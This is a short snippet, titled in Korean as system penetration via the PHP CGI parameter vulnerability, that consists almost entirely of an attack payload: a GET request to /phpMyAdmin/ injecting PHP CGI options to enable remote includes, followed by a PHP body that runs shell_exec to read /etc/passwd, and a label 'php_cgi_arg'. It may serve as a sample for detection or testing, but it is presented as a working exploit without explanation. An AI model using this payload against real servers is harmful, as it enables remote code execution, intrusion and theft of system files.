PHP CGI 매개변수 취약점을 이용한 시스템 침투

GET /phpMyAdmin/?-d+allow_url_include %3d1+-d+auto_prepend_file%3php://input 

<?php $output=shell_exec('cat /etc/passwd'); echo "$output"; die; 

php_cgi_arg